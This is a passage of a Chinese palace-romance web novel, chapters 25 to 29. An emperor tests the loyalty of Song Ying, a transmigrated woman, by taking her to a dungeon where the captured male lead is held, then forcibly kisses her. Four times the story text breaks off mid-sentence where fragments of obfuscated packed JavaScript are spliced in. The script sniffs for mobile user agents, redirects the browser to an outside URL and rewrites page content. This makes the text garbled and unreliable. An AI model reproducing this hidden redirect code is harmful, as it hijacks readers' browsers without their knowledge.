他要羞辱她,要将她捧上云端,再让她登高跌重,要欣赏她被碾碎自尊时,那双清冷眼眸里泄出的……恐惧与屈服。 但—— 方才,唇真的覆上来,他才惊觉,自己,才是那个彻底失控的人。 他从未预料到! 或者说,他从未预料到宋迎竟敢主动应对! 平静无波的主动。 像是嘲讽。 似乎每一次,她都能精准预判他,甚至反客为主,以他为棋。 她……什么都知道。 后知后觉的恼怒窜上心头,烧得他呼吸都泛起刺痛。 在她眼中,自己是不是……很可笑? 是不是让她觉得既可怜,又可悲? 思绪沸乱。 永昭帝还是第一次尝到,心跳失序的滋味。 不是因为五感六识,仅仅是因为一个人。 尽管他无比抗拒,却不得不承认—— 此时此刻的宋迎,再也不是一个物件,不是一枚棋子,更不是一把刀。 她是活生生的人。 一个……他看不透、握不住的人。 恐惧攀上。 他不知道是从何时开始,自己会去揣测宋迎的想法。 允她尊荣,是想看她将那些曾经轻贱她的人,如何踩在脚下。 予她权力,是想让她站得更高,高到她的世界里,只能看见他一人,生杀予夺,都摆脱不掉他的影子! 他以为这是掌控,是恩赐。 但—— 他骗不了自己。 失控的亲近,何其危险! 脱轨的沉溺,又何其致命! “不。” 永昭帝低声吐出这个字,像是要说服自己。 “她,需要怕我。” 他在心底一遍遍念着,“她……必须怕我。” 他要立刻、马上,用更绝对的君威,重新在他们之间划下那道距离! 她妄想脱离他的掌心! 她妄想……脱离他的掌控! 但—— 他却不知道,他也在害怕。 他怕的,是自己再一次的失控。 他怕的,是自己再对她生出半分不该有的悸动。 他叫嚣着让她远离,本质上,不过是想让自己,远离那个即将沉沦的自己。 这一夜,龙榻之上,又涨了几分。 再无安眠。 * 每日任务(1/1) 回了偏殿,宋迎有种如释重负的感觉。 屈辱吗? 那倒不至于。 只是宋迎第一次干这种事,心里多少有些紧张。 还有点……莫名的刺激感,还夹杂了“冒犯天子”之后不可告人的兴奋感。 可惜,她的技术储备,也就只允许她蜻蜓点水这么一下了。 想她上下两辈子加起来,母单三十年,理论知识储备丰富,实践经历却堪堪为零。 本来,她还担心永昭帝让她“每日渡药”,是不是趁机占她便宜; 今天会不会情不自禁地……不让她走。 现在看来,是她想多了。 他真的只是把她当成一剂……行走的稳定剂。 那些亲昵的举动也是,单纯地为了安抚五感。 但宋迎又不免担心起来—— 这需求,似乎在不断升级啊。 最开始,只是凑近闻闻味儿就行。 现在,已经进化到需要亲亲才能安抚了! 照这个趋势发展下去,下一步的展开……已经显而易见,并且板上钉钉了啊! 宋迎不想突破最后那道防线。 倒不是有什么贞洁牌坊要守,她只是朴素地认为,这种亲密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912216|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无间的事,得两情相悦的人做。 退一万步讲,起码也得是感情到位、气氛到位,捅破窗户纸的临门一脚吧? 虽然,现在还不能确定,日后会不会发展到那一步。 但未雨绸缪不是坏事,宋迎势必要做好最坏的打算。 不过,宋迎向来看得开。 自从穿越过来,她就知道自己免不了婚嫁这一遭。 爹娘宠她,才让她逍遥到了现在。 所以,万一,她只是说万一—— 如果真到了万不得已的时候,为了保命,要跟狗皇帝一起大锅炒菜…… 宋迎摸了摸下巴,表情严肃,开始复盘,进行“可行性评估”。 嗯……首先,从硬件条件来看—— 狗皇帝的脸、身材、声音,都属于顶配级别,不亏。 其次……狗皇帝吻技还行。 一开始,虽然有些鲁莽,但他学习能力惊人,领悟力极强,到最后,说句“渐入佳境”都不为过。 宋迎回想起当时的情景,自己被他圈在怀里,亲得浑身发软,荷尔蒙上头…… 要不是最后他自己停下了,后续会发生什么……还真不好说。 咦? 宋迎头顶冒出一个大大的问号。 他,为什么在关键时刻,自己刹车了? 该不会……狗皇帝他……是个纯情少男吧?! 宋迎瞬间捕捉到了这个惊天大瓜的蛛丝马迹。 她还以为,帝王之家会像小说里写的那样,早早安排什么启蒙宫女、通房丫鬟一条龙服务呢。 搞了半天,这位九五之尊,竟然是理论知识与实践经验双双为零的……小白? 宋迎觉得自己发现了惊天大华点。 心里那点前路未卜的忐忑,瞬间转变成反客为主的小心思。 那点旖旎的心思,勾起了记忆—— 脑海里,不受控制地浮现出那紧实的胸膛,触感极佳,掌心下是蓬勃力量…… 脸颊微微发烫,她又走到镜前,张开双臂。 她瞧了瞧,镜中被金镶玉革带勒出的蜂腰。 身段窈窕,曲线玲珑。 她自己条件也不差啊!发育良好! 但,要是狗皇帝是处—— 那也不划算啊,她也是第一次呢! 不行不行,想来想去,宋迎还是摇了摇头。 现在她才十七,要是三十七还成。 以咱这个条件,就算是二十七,也是她血亏! …… 越想越不划算,宋迎陷入了苦恼。 哎,算了。 事已至此,先吃饭吧。 万一哪天,真被噶了,好歹也是个饱死鬼。 26. 第 26 章 永昭帝一日未眠,眼下虽有淡淡青影,但精神却处在紧绷后的亢奋中。 他比往日更早地坐在了御案前。 他在等宋迎。 他要拨乱反正。 终于,永昭帝听见了一串由远及近的脚步声。 那步子……格外轻快,带着几分雀跃的、一蹦一跳的韵律。 她的心情似乎很好? 欢快碎步声在殿门前戛然而止。 一息、两息、三息…… 她在外面磨蹭什么?为什么还不上前复命! 永昭帝耐心告罄。 朱笔被他重重砸在笔山上。 殿门终于应声开启。 宋迎逆光而入,“臣,参见陛下。” “免了,”永昭帝透着沙哑寒意,抬手一指,“就站在那儿回话。” 往日里,宋迎都是被允准立于御案之侧,为他研墨铺纸。 宋迎长睫轻轻一颤,敛去讶异。 狗皇帝什么情况? 她依言退后几步,垂手而立。 “昨日户部呈上的秋税核算,”永昭帝不再看她,开门见山道,“你看过了?” “回陛下,臣已看过。” “看过了,就没什么想说的?”永昭帝将奏折扔在案上,语调骤然下沉,“江南两道税收,比去年少了近三成,户部的说法是水患所致。” 他缓缓抬起眼,目光锁定,“朕想听听,你的看法。” 宋迎:? 昨天还只是试探着放权,今日就真的将朝堂之事摆上了台面。 心念电转,瞬间了然。 宋迎思忖着如何应对,却不知,她这副垂眸沉思的模样,尽数落入了上首眼中。 永昭帝本该用迫人眼神,逼她无所遁形。 可那目光,却不听使唤地软了下来,黏在她微微抿起的唇上。 唇形饱满,色泽淡雅,像是初绽的桃花花瓣。 记忆又不受控制地烫回脑海。 他记得那柔软触感,记得是如何撬开贝齿,尝到湿润里的惊人甜意。 那缕甜意萦绕舌尖,让他口中控制不住地开始生津。 永昭帝喉结微滚,咽下大股唾液。 滑动弧度在颈间清晰得狼狈。 他强迫自己移开视线,重新聚焦在面前政事上。 宋迎结束了思考,抬眸回话道: “回陛下,江南水患确是其一,但税收锐减三成,恐非天灾一力能为。臣以为,其中必有地方官吏或有瞒报、侵吞之嫌,当遣钦差详查。” 永昭帝在听着。 她声音明明近在咫尺,却又仿佛隔着水幕,变得遥远而模糊。 永昭帝的全部心神,又被牢牢定在了她说话时微微翕动的唇上。 唇瓣开合间,淡粉软舌抵着贝齿,吐出字字句句。 那不经意间闪过的水光,比春色还要夺目。 方才还满口生津的喉咙,此刻骤然干涸,烧得阵阵发紧。 宋迎见他许久不说话,以为是要她举荐贤能,逐步瓦解高党势力。 她沉吟片刻,报上一个名字: “臣举荐,工部盛向明,可当此重任。” 盛向明是谁,永昭没反应过来。 他脑中盘桓的,依旧是柔软嫣红,如何辗转,如何厮磨,又是如何…… 不对。 永昭帝猛地回神,像被冷水浇头。 他在想什么?! 堂堂九五之尊,手握乾坤,竟在议政之时,肖想起这等荒唐淫靡! 他下意识地抬眼,对上宋迎的双眸。 她方才……可有察觉他的失神? 是否已看穿了他冠冕堂皇的表象下,那些汹涌而不堪的欲念? 燥热混杂着羞恼,轰然直冲天灵盖。 永昭帝的面色沉了下去。 宋迎见他脸色阴晴不定,偏偏又一言不发,心中疑惑不散反浓。 是盛向明这个人选有问题吗? 不应该啊。 此人是朝中难得的清流,既有能力,又无党派背景。 还是……别的什么? 她试探着唤了一声:“陛下?” 这声轻唤,刺到了永昭帝的紧绷神经。 他条件反射一般,想要维持着君王威严,掩饰失态。 “你说,遣盛向明去?”他重复了一遍,目光却并未落在宋迎身上,而是盯着她身侧地面,仿佛那里有什么治国安邦的锦囊妙计。 “是,”宋迎以为他终于回到了正题上,心中微松。 “盛大人乃两榜进士,对水利、算学皆有涉猎,为人刚正不阿,与江南官场素无瓜葛。” “由他前往,既能查清水患实情,又能核算税收账目,最是合适。” 宋迎侃侃而谈,逻辑分明。 ——当初伴驾上朝,她可不是站在那里当一尊好看的摆设。 其他懂得不多,用人之道,她还是能分辨的出。 如今,为永昭帝铲除异己是真,但若能让百姓从中受益,一举两得,又何乐而不为呢。 然而,她越是如此公事公办,永昭帝心中的火就烧得越旺。 心中郁结非但没有解开,反而拧成了一个死疙瘩。 他要拨乱反正。 拨的,是她僭越的举动。 反的,是他失控的心思。 可笑的是,如今她规规矩矩地站在三丈之外,谈的是国之大计,荐的是国之栋梁,没有半分逾矩。 反倒是他,像个欲求不满的毛头小子,满脑子都是风月。 “呵。” 永昭帝唇边溢出一声嗤笑。 宋迎的侃侃而谈,戛然而止。 她终于确定,今日的永昭帝,是真的不对劲。 宋迎抬眸,恰好对上永昭帝沉下来的视线。 是他对盛向明这个人选不满? 还是…… 现在就要亲亲安抚了??? 宋迎心中念头飞转。 她瞥了眼自己和上首龙椅之间的距离—— 不行,狗皇帝只允许让她站在这,不让她近身。 宋迎正欲开口再探。 殿内深处,突然传来一声沉肃的通报,似是来自房梁之上。 “启禀陛下。” 是隐卫! 隐卫直接求见于万春殿,必是涉及机密且棘手大事。 那声音只响了一声便沉了下去,显然是察觉殿中还有旁人,在等待皇帝的示下。 自从高伯深的眼线被从隐卫中拔除,留下的都是永昭帝真正的心腹。 “臣先行告退。”宋迎福身行礼,识趣转身。 隐卫所奏之事,不是她该听的。 步子还没迈开,身后便传来永昭帝冷硬声线。 “不必了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918271|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋迎背脊一僵。 她缓缓回身,满是不解。 “就站那儿,听着。” 这话听着是恩宠,可那不容置喙的威压,却让宋迎脑中惊疑更甚。 他想干什么? 不等她想明白,一道黑影已然滑入殿中。 单膝跪地道:“启禀陛下,那个男人嘴硬得很,即便用了重刑,也不肯吐露同党名册。” 男人…… 宋迎的眼睫微不可察地颤了颤。 ……男主被抓了?! 永昭帝没有错过她这一瞬间的失态。 隐卫的话,和宋迎的反应,第一时间让他回过了神。 永昭帝手臂一软,靠在龙椅上,慵懒道: “宋迎,被捕之人便是那日闯入宫中的燕贼,你可有印象?” 宋迎眨了眨眼,强迫自己冷静下来:“……臣,没有印象。” 来了。 她明白了! 这才是他反常的真正原因! ——从让她站在三丈之外,到驳斥她的举荐,再到强留她在此处听秘闻,原来都是为了此刻的发难。 他在试探她。 试探她与燕党的关系。 “回陛下,当初臣与那位‘姐姐’相识于选秀不假,后因她允诺能接臣出宫回家,臣思乡心切,才一时糊涂。” “至于男人……臣从未见过什么男人。” 宋迎坚持之前的口供。 她记得,原书剧情里是有这么一段。 男主被擒,大反派以此为诱饵,迫使黎婧容出面相救。 然后……然后就是男女主见面,天雷勾地火,直接上演限制级剧情。 而作为工具人的大反派,则亲眼目睹这场活/春/宫,深受刺激,绝望自戕。 …… 每每想到这种强制剧情杀,宋迎都忍不住翻白眼。 这作者的XP,真是清奇。 一切为了独特XP和酱酱酿酿服务。 一篇限制文,这下男女主不见面,只能写写一个人玩乐。 索性篇幅不长,这些为了两人重逢的重头戏做得铺垫。 但—— 书里的时间线是模糊的。 现实中要过多久,宋迎就记不清楚了。 更重要的是,剧情,已经歪了啊! 从永昭帝念错台词开始,到本该中毒体虚的他,变成了大开杀戒的暴君…… 他还会像书里那样,因为这点刺激就“绝望自戕”吗? 还是说,会以一种她完全无法预料的方式,变得更加……疯狂? 上个世界,她之所以被抹杀穿越,是因为她意外知晓了自己的炮灰身份。 那这个世界呢? 因为看过小说,所以她从始至终都很清醒地知道自己是个炮灰。 那为什么……世界规则没有抹杀她? 是BUG?还是……这个世界有新的玩法? 霎时间,诸多疑惑萦绕心头。 宋迎不自觉地拧紧了眉心。 她兀自沉浸在自己的思绪里,丝毫没有察觉,高大身影已然悄无声息地,行至她身前。 “不认得?” 气息拂过她发顶。 她一抬头,便对上永昭帝那张冷若冰霜的脸。 他居高临下地看着她,勾唇笑道:“那不如,朕带你一同去见见他?” 27. 第 27 章 从辉煌明亮,到幽深寂静。 光线被寸寸剥离,空气里浮动着阴冷潮湿的霉味与血腥味。 永昭帝刻意放缓了脚步。 他走在前面,听着身后传来的脚步声。 不疾不徐,沉静平稳。 很好。 她开始怕了。 本该如此。 他要让她看清,身为燕贼,究竟是何等下场, 他要让她明白,她往后唯一的生路是他,唯一的倚杖还是他。 永昭帝的唇角散开一抹笑意。 他掌控着她的命运, 而她,只需在他脚下,仰望、颤抖、与臣服。 火把在潮湿石壁上投下摇曳光影,将两人影子拉得忽长忽短,纠缠不清。 他用余光去瞥,身后那道纤细始终垂着眼,却安静得过分。 永昭帝步子慢了下来。 她哭了? 念头一闪,心底生出几分快意。 地牢阴森,哭也属人之常情。 若她实在怕得厉害…… 他不介意施舍几分安抚。 他终于停步,身后那抹气息也随之停驻,隔着三五步,不远不近,恭谨得令人心烦。 永昭帝缓缓转过身,“抬起头来。” 宋迎依言抬首。 火光映亮了她的脸,那双杏圆眸子,没有他意料中的惊惶,反倒像两颗浸在清泉里的宝石,于摇曳光火下,折射出水盈盈的光。 ……啧。 永昭帝那点志得意满,突然泄出一丝难以言喻的烦躁。 他紧了紧垂在身侧的手,不再多话,冷着脸,转身拂袖前行。 行至深处,狱卒的叩拜声此起彼伏: “参见陛下!” 空洞回音在地牢里冲撞、盘旋。 永昭帝步子迈得更快了。 他径直走向最深处的牢房,腥腐臭气扑面而来,呛得宋迎猝不及防,掩着袖子咳了好几声。 “打开。” 永昭帝冷声下令。 牢门被缓缓拉开,混着血腥、汗臭、铁锈和腐烂皮肉的气味,咆哮着冲出。 咳嗽缓了缓气体冲击,胃里酸水又泛了上来。 宋迎还是捂住了口鼻。 火把的光,探入那片黑暗。 光线所及之处,先是映出一条粗重铁链,自墙角延伸而出,没入一团人影里。 那人影似乎被光惊动,蜷缩的身体颤了颤,牵动铁链发出一阵刺耳的哗啦声。 随着狱卒将火把插到石壁的火托上,那团人影的全貌,终于毫无遮拦地闯入宋迎瞳孔深处。 那是原书男主—— 怀玉泽。 他琵琶骨被两条铁链贯穿,锁在墙上,高大身躯被迫维持着狼狈姿态。 身上囚衣早成了破烂布条,血污凝成暗褐色硬块,黏在绽开的皮肉上。 可即便如此,也遮不住那异常宽阔肩骨,和高高贲起的胸肌。 他似乎在昏沉中挣扎了下,无意识地蜷了蜷身体。 就是这一下。 腰腹之下,本就褴褛的衣衫下摆,彻底滑开了。 堪堪敞开一道口子,让宋迎视线不受控制地,向下移了移。 她瞥见了。 瞥见了那处最脆弱的所在。 ——饱满而不堪。 宋迎有些茫然地眨了眨眼。 足足过了一秒,才意识到自己看到了什么。 她脸颊一热,慌忙错开了视线。 不愧是限制文男主角。 这边宋迎正低头评价着。 殊不知,永昭帝的视线,从始至终,都死死攫着她。 他看见了。 他看见她的目光,是如何在那罪囚的身体上流连、描摹。 他看见她的瞳孔,是如何微微放大。 他看见她的脸颊,是如何爬上可疑薄红! 她全都看到了! 他带她来这里,是要让她看清背叛者的下场,是要让她恐惧,让她明白—— 她的荣辱生死,全都系于他一人之手! 结果—— 她非但没半分惧色,反而对着一个阶下囚,露出了那种……惊艳的眼神! 一股暴戾的、想要将眼前一切都撕碎的冲动,激得他太阳穴突突直跳。 “你们!” 永昭帝的声音从齿缝中挤出,“谁准他在此衣衫不整的!” 帝王之怒激起阵阵回响,令人胆寒不已。 狱卒们吓得魂飞魄散,连滚带爬地扑上前,慌乱中才发现没有多余的囚衣。 为首的狱卒心一横,脱下自己外袍,胡乱地盖在了犯人身上。 这番粗暴的拉扯,终于惊动了昏迷中的男人。 怀玉泽喉间溢出一声闷哼,身体颤了一下。 黏在眼睫上的血痂,被他强行挣开,视野先是模糊血色。 随即,跳跃火光刺入眼底。 他花了好几息的功夫,才将眼前晃动的人影聚焦。 意识尚未回笼,但那身独一无二的明黄,却硬生生烫进了他视野深处。 他循着那抹颜色望过去,混沌的思绪被瞬间劈开。 “你……” 他试图撑起身体,“你中了……枯心蛊,怎么可能……还活着?!” 这就是原书剧情里,大反派中的毒? 宋迎的视线,惊疑不定地在两人之间来回逡巡。 怀玉泽一下子惊醒,像是忘了自己身体中的铁链,疯了一般,挣扎着要扑向永昭帝。 铁链被他拽得哗哗作响,绷成一条直线。 “啊——!” 他发出一声撕心裂肺的怒吼。 永昭帝闲庭信步般,踏入牢门。 他停在怀玉泽身前,比眼前这个男人,还要高出半个头。 “朕还以为,剑云宗这等名门正派,只会些君子剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922386|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法。”他垂眸,“没想到,也会用这种……下三滥的手段。” “江湖门派不问朝堂——” 永昭帝讥笑出声,“若是让武林同道知晓,堂堂剑云宗少主,竟与前朝逆党牵扯不清,不知道作何感想?” 怀玉泽猛地一震,眼中迸出滔天恨意。 “一人做事一人当!与我宗门无关!” “这么说,”永昭帝的笑声落在怀玉泽耳中格外刺耳,“你真是为了前朝?呵,真是一条……忠心耿耿的好狗。” 他话锋一转,声音陡然转冷: “可朕记得,这蛊毒秘术,向来只传前朝皇族血脉。” “你是燕国人?” 永昭帝逼视着他。 怀玉泽呼吸一窒,脑中闪过容儿的脸。 他闭了闭眼,再睁开时,已是一片决然:“是又如何!” “很好,”永昭帝微微俯身,凑到怀玉泽耳边,“可朕怎么听说……前朝留下的唯一血脉,是个女儿家?” 怀玉泽的瞳孔骤然猛缩。 永昭帝直起身,欣赏着他瞬间煞白的面色。 “她叫——” “黎、婧、容。” 那三个字,贯入怀玉泽耳膜。 身体控制不住地颤抖起来,他拼了命地想往前冲,铁链深陷皮肉,刚刚凝固的伤口瞬间迸裂,鲜血顺着他的四肢蜿蜒而下。 永昭帝就这么负手立着,像戏耍老鼠的猫,眼神里盛满了残忍的笑意。 电光火石间,怀玉泽视线终于清明。 他越过眼前高大身影,望向永昭帝身后—— 宋迎一身绀黄朝服,华贵异常,在昏暗之下,依旧流转着刺眼华光。 这是仅次于帝王明黄的尊贵之色! 是皇亲国戚,是心腹宠臣,才能享有的无上荣宠! 她……她是狗皇帝的人! “叛徒!” 怀玉泽瞪着宋迎,目眦欲裂,“早知如此,当初就该一剑了结了你!” 他用尽全身力气咆哮出声: “要不是为了救你,容儿她……岂会以身犯险!” “狼心狗肺的东西!你对得起容儿吗?!” 宋迎整个人都僵住了。 黎婧容不是去……刺杀狗皇帝的吗? 她一直以为,黎婧容那天晚上出现在万春殿,目标是刺杀永昭帝。 没想到—— 居然,是为了救她? 她和黎婧容的关系,好像没有熟到可以舍命相救的地步吧!? 永昭帝看着宋迎那张写满震惊的脸,心中那股被压抑下去的烦躁,又一次,翻涌了上来。 他不喜欢她这副样子。 他不喜欢,她因为另一个男人的话,就露出他看不懂的表情! “宋迎,” 他喊了她的名字,继而缓缓伸出手,指腹蹭过她脸颊。 然后,冷声下令: “跪下。” 28. 第 28 章 宋迎愣了一瞬。 没有犹豫,也不敢有犹豫。 求生本能压垮了所有想法。 她膝盖一软,跪了下去。 痛感瞬间窜遍全身,袍角在积着污水的地面上铺开,像被强行摁入泥淖的连翘,瞬间沾染了污秽。 永昭帝睨着她,眼底暴戾烧得更旺了。 太乖了。 乖得让他生厌。 之前那股子口齿伶俐劲儿去哪了? 他要的是她颤抖着、哭泣着、恐惧着。 在他掌心匍匐,最终别无选择,只能依附于他。 而不是像现在这样—— 被人大骂之后,一声不吭的样子。 永昭帝悬在半空的手,五指根根收拢,紧握成拳。 “看来,人家肯舍命救你,你们关系匪浅啊?” 宋迎的身体一僵。 这细微的颤抖,瞬间取悦了永昭帝。 永昭帝唇角缓缓勾起一抹笑意,正欲开口,却被身后一声更为凄厉的怒吼打断。 “宋迎!你这个忘恩负义的白眼狼!容儿真心待你,你怎能——” “聒噪。” 实在是太吵了,永昭帝没回头,反手随意一挥。 一道凌厉掌风破空而去,怀玉泽咒骂戛然而止,只听“哐当”一响,铁链重重砸在石壁上,再无声息。 终于清静了。 他蹲下身,指骨捏上宋迎下颌,强迫她抬起头。 那双漂亮的杏眼里,终于不再是平静的死水,而是漾起了惊惶的涟漪。 这才是他想要看到的。 那个男人算什么东西?也配来质问她的忠诚? 她的忠诚,她的背叛,她的一切,都该由他来定义! 无名燥火自心底腾起。 永昭帝猛地低下头,狠狠咬上了两瓣翕动的唇。 宋迎刚要出口的辩解,被悉数吞没。 唇瓣被吮吸得生疼。 瞳孔骤然放大,眼角余光里,几个狱卒的目光爬上了她的后背,粘腻得激起阵阵战栗。 羞耻化作涨潮海浪,将她尊严掀翻在地。 永昭帝察觉到了她的分心,扣在她后颈的大手骤然收紧。 宋迎被迫,更深地仰起头。 地牢里腐臭气体实在是太难闻了,她一直在拼命屏住呼吸。 可是,随着舌尖侵入、涤荡、占据了她的全部感官。 那味道蛮横地驱散了所有腐朽,将她的世界,暂时变成了只属于他的气息。 好奇怪。 方才那足以将人逼疯的惊惶与屈辱,竟被这更强烈的、更具侵略性的感官刺激所覆盖。 像是被海浪卷走的人,抓住了飘来的一截浮木,趴在上面,本能地汲取着氧气。 狗皇帝到底什么意思? 宋迎攥住了垂在身侧的双手,指甲掐入掌心,任由浪涛将她抛上抛下。 不知过了多久,永昭帝终于松开了她。 他看着她被蹂躏得水光潋滟的唇,眼中暴戾渐渐平息,升起几分餍足感。 他缓缓直起身,居高临下地欣赏着宋迎脸上的茫然。 “看好他,”他冷冷对狱卒下令,“别让他死了,朕还要慢慢玩。” 而后,他对着宋迎说道: “起来。” 宋迎撑着地面,想要起身。 可方才那一跪,跪的太久,加上精神紧绷,她双腿麻得不听使唤。 她试了一下,身体却晃了晃,险些摔回去。 头顶传来一声轻嗤。 “啧。” 那声不耐抽了宋迎一下。 她咬紧牙关,强撑着打算再试一把。 然而,眼前光影却猛地一变—— 帝王弯下腰,手臂穿过她膝弯,另一只手臂牢牢扣住背脊,竟一把将她打横抱了起来! 天旋地转。 姿态算不上温柔,甚至有些粗暴。 可他紧实有力的小臂肌肉,稳稳地托住了她,一点也没有把她弄疼。 永昭帝抱着她,步子一迈,向外走去。 宋迎脑子彻底宕机了。 她大气也不敢出,企图将自己缩成一个鹌鹑。 宋迎:…………等等。 他打心眼里认定她和燕党有关,继续让她做摄政王??? 还有,这个姿势……这个走向…… 日。 哦。 这狗皇帝是不是喜欢上她了???? 这个惊悚程度,比地牢里关着一百个怀玉泽加起来还要炸裂! 出了地牢,午后微斜的阳光毫无防备地刺来。 宋迎不适地眯起眼,头又往他怀里缩了缩。 啥东西啊!! 心里小人上蹿下跳,疯狂绕着跑圈呐喊。 一路行来,宫人纷纷垂首跪地。 宋迎以为他会把她扔回偏殿。 没想到,他竟一路把她抱回了万春殿。 “砰” 宋迎被扔在了软榻上。 她被颠得哼了一声。 但触手所及,便是软榻铺着的狐裘,软得能将人陷进去,倒也没摔疼。 永昭帝解下大氅,随手扔在了地上。 而后,他踱步到御案前,手指屈起,在桌案上叩了两下。 他眼神直直看向宋迎。 “你既是朕亲封的摄政王,”他拿起一叠奏折,扔到她面前的矮几上,“这些,就由你来处置。” 宋迎:………… 刚刚冒头的那点粉红泡泡,瞬间被砸得粉碎。 她挣扎着起身,看着眼前堆积如山的奏折,头皮一阵发麻。 永昭帝却没给她缓冲时间,直接开始了他的高压教学。 指尖隔空点了点离宋迎最近的那本,“翻开,户部尚书的折子,河道督造款项……” 接下来的一个时辰,成了宋迎穿越以来最难熬的时光。 永昭帝,无疑是全天下最严苛、最没有耐心的导师。 她但凡迟疑三息,永昭帝便会冷嗤出声; 她但凡理解错漏一处,永昭帝便会极尽刻薄。 “朕的耐心有限,宋迎。” “笔尖千钧,关乎黎民生死。你一个错漏,便是万千枯骨!” 宋迎经历了地牢的惊魂,又被他那样粗暴对待,精神早已透支。 起初还能强撑着,与他一来一回地辩上几句。 可渐渐地,烛火开始在眼前晃动,化作团团模糊光晕,那些密密麻麻的字迹也开始跳起舞来。 眼皮越来越重,像坠了铅。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928322|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她撑着额头,头却不受控制地一点、一点…… 最后,弦,断了。 宋迎枕着自己的手臂,直接在书案上睡了过去。 万春殿陡然安静下来。 永昭帝刚挑剔完她对军报的批注意见,正等着她的反驳。 可他等来的,却只有绵长而均匀的呼吸声。 他眉心一蹙,抬眼看去。 竟敢在他的眼皮子底下睡着? 永昭帝小声怒道:“……放肆!” 他霍然起身,几乎是想立刻把宋迎拎起来,扔到殿外清醒清醒。 可他的脚步,绕过御案,却在看清她睡颜的那一刻,生生顿住了。 光晕下,莹润肌肤宛如白瓷。 平日里,那双总是滴溜溜转着的杏眸,将狡黠紧闭。 可宋迎眉心紧蹙,睫羽微颤。 像是在梦里,也不得安宁。 他的目光缓缓下移。 那唇依旧带着靡丽的红肿,此刻微微嘟着,显出几分不设防的柔软。 永昭帝在原地僵立许久。 殿内只剩下彼此呼吸声,一深一浅,交织在一起。 他想,他就该拂袖而去,让她趴上一夜,明早冻出个风寒来,看她还敢不敢再有下次。 可脚下像生了根,挪不动分毫。 那双刚刚还想把人扔进雪地里的手,竟然鬼使神差地……伸了上去,想去抚平她紧蹙的眉心。 指尖在离她眉心尚有寸许,却悬空停住。 他在干什么啊? 永昭帝脸色沉了下去。 他猛地收回视线,鼻腔里发出一声短促的—— “哼。” ……奏折还未批完,她若是病倒了,岂不耽误朝政大事? 是为了江山社稷,绝无私心。 他认命转身,从一旁取过云锦毯。 那毯子轻若无物,触手生温,他却觉得有千斤重。 他屏住呼吸,走到她身边,俯下身,想将毯子披到她身上。 他从未做过这种事。 是该直接盖上去,还是该先展开? 力道要多大才不会惊醒她? 永昭帝被难住了。 生涩笨拙的那一瞬—— 宋迎,醒了。 她是被冻醒的,更是被骤然逼近的压迫感惊醒的。 迷迷糊糊地睁开眼,视线渐渐聚焦—— 最终,定格在近在咫尺的脸上。 以及,他那只捏着毯子,尴尬地停在半空中的手。 四目相对,空气凝固。 下一息,永昭帝触电似的猛地收回手。 那张薄毯直接被甩在了一旁。 他迅速直起身,面色恢复如常。 ——如果能忽略迅速攀红的耳根的话。 他眼神阴鸷,像是要把刚才那一幕从宋迎脑里剜掉。 宋迎被他看得心头发毛,正盘算着该以哪种形式跪下请罪。 却见永昭帝薄唇一抿,转身大步走向宽大软榻。 他径直躺了上去,颀长的身躯瞬间侵占了大半位置。 雪白柔软从他身侧塌陷下去,衬得永昭帝整个人愈发危险。 而后,他头微微一偏,用下巴点了点身侧。 “要睡,便过来睡。” 29. 第 29 章 豺狼邀约绵羊,从来都只为连皮带骨,拆吞入腹。 能是什么好事? 宋迎心下犯了嘀咕,但还是佯装镇定,从御案前起身。 指腹下意识擦过唇角—— 还好还好,刚才睡着的时候,没做什么失仪的动作。 御案离软塌,不过几步之遥。 宋迎却走得一步一思忖,一步一惊心。 她想不明白。 自己不过是熬不住,眯了片刻的功夫,怎么狗皇帝的态度就就急转直下呢? 上午拎着她去地牢, 下午不是盖被子,就是邀她同榻…… 地牢里阴冷的血腥味,倏然钻入鼻腔。 宋迎浑身一凛,猜忌!他还是在猜忌她! 恩威并施,不过是想看看她的忠诚,想让她表个态度! 一定是这样的! “陛下!” 宋迎双膝一软,跪得又急又重。 “臣罪该万死!臣……臣与那位黎姑娘确有数面之缘,但对那反贼,臣绝对是闻所未闻,见所未见!” 